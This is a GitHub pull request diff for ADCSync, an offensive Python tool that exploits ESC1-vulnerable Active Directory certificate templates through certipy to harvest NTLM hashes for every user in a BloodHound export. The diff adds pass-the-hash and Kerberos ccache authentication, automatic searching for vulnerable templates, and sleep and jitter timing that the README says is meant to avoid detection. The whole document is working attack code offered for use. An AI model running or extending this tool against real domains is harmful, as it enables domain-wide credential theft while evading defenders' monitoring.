Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 8 additions & 9 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -64,19 +64,18 @@ Options:
-ca TEXT Certificate Authority [required]
-dc-ip TEXT IP Address of Domain Controller [required]
-u, --user TEXT Username [required]
-p, --password TEXT Password [required]
-template TEXT Template Name vulnerable to ESC1 [required]
-p, --password TEXT Password
-H, --hashes TEXT NTLM hash in format LMHASH:NTHASH or just NTHASH
-k, --kerberos Flag to use Kerberos authentication with ccache file
-ccache TEXT Path to ccache file for Kerberos authentication
-template TEXT Template Name vulnerable to ESC1. If not specified, will attempt to find one.
-target-ip TEXT IP Address of the target machine [required]
-s, --sleep FLOAT Base sleep time between requests in seconds
-j, --jitter FLOAT Jitter percentage (0-100)
--help Show this message and exit.

```

## TODO
* Support alternative authentication methods such as NTLM hashes and ccache files
* Automatically run "certipy find" to find and grab templates vulnerable to ESC1
* Add jitter and sleep options to avoid detection
* Add type validation for all variables

```

## Acknowledgements
* [puzzlepeaches](https://github.com/puzzlepeaches): Telling me to hurry up and write this
Expand Down
182 changes: 164 additions & 18 deletions adcsync.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,13 @@
import os
import shutil
import subprocess
import random
import time
from tqdm import tqdm
from pyfiglet import Figlet
import click
import ipaddress
from ldap3 import Server, Connection, ALL, SIMPLE, SYNC, SUBTREE# Print stuff
from ldap3 import Server, Connection, ALL, SIMPLE, SYNC, SUBTREE # Print stuff

ascii_art = Figlet(font='slant')
print(ascii_art.renderText('ADCSync'))
Expand All @@ -20,22 +22,35 @@
exit(1)

@click.command()
@click.option('-f', '--file', help='Input User List JSON file from Bloodhound', required=True)
@click.option('-o', '--output', help='NTLM Hash Output file', required=True)
@click.option('-ca', help='Certificate Authority', required=True)
@click.option('-dc-ip', help='IP Address of Domain Controller', required=True)
@click.option('-u', '--user', help='Username', required=True)
@click.option('-p', '--password', help='Password', required=True)
@click.option('-template', help='Template Name vulnerable to ESC1', required=True)
@click.option('-target-ip', help='IP Address of the target machine', required=True)
@click.option('-f', '--file', help='Input User List JSON file from Bloodhound', required=True, type=str)
@click.option('-o', '--output', help='NTLM Hash Output file', required=True, type=str)
@click.option('-ca', help='Certificate Authority', required=True, type=str)
@click.option('-dc-ip', help='IP Address of Domain Controller', required=True, type=str)
@click.option('-u', '--user', help='Username', required=True, type=str)
@click.option('-p', '--password', help='Password', required=False, type=str)
@click.option('-H', '--hashes', help='NTLM hash in format LMHASH:NTHASH or just NTHASH', required=False, type=str)
@click.option('-k', '--kerberos', help='Flag to use Kerberos authentication with ccache file', is_flag=True, default=False)
@click.option('-ccache', help='Path to ccache file for Kerberos authentication', required=False, type=str)
@click.option('-template', help='Template Name vulnerable to ESC1. If not specified, will attempt to find one.', required=False, type=str)
@click.option('-target-ip', help='IP Address of the target machine', required=True, type=str)
@click.option('-s', '--sleep', help='Base sleep time between requests in seconds', required=False, type=float, default=0)
@click.option('-j', '--jitter', help='Jitter percentage (0-100)', required=False, type=float, default=0)

def main(file, output, ca, dc_ip, user, password, hashes, kerberos, ccache, template, target_ip, sleep, jitter):
# Validate types
validate_inputs(file, output, dc_ip, user, password, hashes,
kerberos, ccache, target_ip, sleep, jitter)

def main(file, output, ca, dc_ip, user, password, template, target_ip):
# Read the JSON data from the file
if not os.path.exists(file):
print(f"Error: File '{file}' not found.")
exit(1)
# If no template is specified, try to find vulnerable ones
if not template:
vulnerable_templates = find_vulnerable_templates(
dc_ip, user, password, hashes, kerberos, ccache
)
if vulnerable_templates:
template = vulnerable_templates[0]
print(f"\nUsing vulnerable template: {template}")

# Read the JSON data from the file
try:
with open(file, 'r', encoding='utf-8') as file_obj:
data = json.load(file_obj)
Expand Down Expand Up @@ -65,14 +80,25 @@ def main(file, output, ca, dc_ip, user, password, template, target_ip):
# Execute certipy req command for each name
print('Grabbing user certs:')
for name in tqdm(names):
if sleep > 0:
jitter_multiplier = 1 + (random.uniform(-jitter, jitter) / 100)
sleep_time = sleep * jitter_multiplier
time.sleep(sleep_time)

# Extract the part before the "@" symbol and convert it to lowercase
username = name.split('@')[0].lower()
domain = usernames_with_domains.get(f'{username}@{domain}')

command = [
certipy_client, 'req', '-u', user, '-p', password, '-target-ip', target_ip,
'-dc-ip', dc_ip, '-ca', ca, '-template', template, '-upn', name
]
command = [certipy_client, 'req', '-u', user, '-target-ip', target_ip,
'-dc-ip', dc_ip, '-ca', ca, '-template', template, '-upn', name]

if password:
command.extend(['-p', password])
elif hashes:
command.extend(['-hashes', hashes])
elif kerberos:
command.extend(['-k', '-ccache', ccache])

process = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

# Check the return code and error output of certipy
Expand Down Expand Up @@ -123,5 +149,125 @@ def main(file, output, ca, dc_ip, user, password, template, target_ip):
if os.path.exists(ccache_file):
shutil.move(ccache_file, os.path.join(caches_folder, ccache_file))

def validate_inputs(file: str, output: str, dc_ip: str, user: str,
password: str, hashes: str, kerberos: bool, ccache: str,
target_ip: str, sleep: float, jitter: float) -> None:

# Validate Authentication Choice
auth_methods = sum(bool(x) for x in [password, hashes, (kerberos and ccache)])
if auth_methods != 1:
print("Error: Exactly one authentication method must be provided (password, hashes, or ccache)")
exit(1)

# NTLM Hash Validation
if hashes:
if ':' in hashes:
lm_hash, nt_hash = hashes.split(':')
if not all(len(h) == 32 and all(c in '0123456789abcdefABCDEF' for c in h)
for h in [lm_hash, nt_hash] if h):
print("Error: Invalid hash format. Expected LMHASH:NTHASH or just NTHASH")
exit(1)
else:
if not (len(hashes) == 32 and all(c in '0123456789abcdefABCDEF' for c in hashes)):
print("Error: Invalid hash format. Expected 32 character hex string")
exit(1)

# ccache Validation
if kerberos:
if not ccache:
print("Error: ccache file path must be provided when using Kerberos authentication")
exit(1)
if not os.path.isfile(ccache):
print(f"Error: ccache file '{ccache}' does not exist")
exit(1)

# IP Address Validation
try:
ipaddress.ip_address(dc_ip)
ipaddress.ip_address(target_ip)
except ValueError:
print("Error: Invalid IP address format for dc-ip or target-ip")
exit(1)

# Sleep Timing Validation
if not isinstance(sleep, float) or sleep < 0:
print("Error: Sleep time must be a non-negative float value")
exit(1)

# Jitter Validation
if not isinstance(jitter, float) or not 0 <= jitter <= 100:
print("Error: Jitter must be a float between 0 and 100 percent")
exit(1)

# File Path Validation
if not os.path.isfile(file):
print(f"Error: Input file '{file}' does not exist")
exit(1)

# Output File Validation
if os.path.exists(output):
if not os.access(output, os.W_OK):
print(f"Error: Output file '{output}' exists but is not writable")
exit(1)
else:
try:
with open(output, 'a') as f:
pass
except IOError:
print(f"Error: Cannot create output file '{output}'")
exit(1)

def find_vulnerable_templates(dc_ip: str, user: str, password: str = None,
hashes: str = None, kerberos: bool = False,
ccache: str = None) -> list[str]:

# Build command based on authentication method
command = [certipy_client, 'find', '-u', user, '-dc-ip', dc_ip, '-vulnerable']

if password:
command.extend(['-p', password])
elif hashes:
command.extend(['-hashes', hashes])
elif kerberos:
command.extend(['-k', '-ccache', ccache])

print("Searching for vulnerable certificate templates...")
process = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

if process.returncode != 0:
print(f"Error running certipy find: {process.stderr}")
exit(1)

# Parse output to find ESC1 vulnerable templates
vulnerable_templates = []
output_lines = process.stdout.split('\n')
in_vulnerabilities_section = False
current_template = None

for line in output_lines:
if '[!] Vulnerabilities' in line:
in_vulnerabilities_section = True
continue
elif in_vulnerabilities_section:
if line.strip().startswith('ESC1'):
if current_template:
vulnerable_templates.append(current_template)
elif 'CA Name' in line:
current_template = line.split(':')[1].strip()
elif not line.strip() or '[' in line:
current_template = None
if '[' in line:
in_vulnerabilities_section = False

if not vulnerable_templates:
print("No templates vulnerable to ESC1 were found.\nPlease specify a template name.")
exit(1)

print(f"Found {len(vulnerable_templates)} vulnerable template(s):")
for template in vulnerable_templates:
print(f" - {template}")

return vulnerable_templates

if __name__ == '__main__':
main()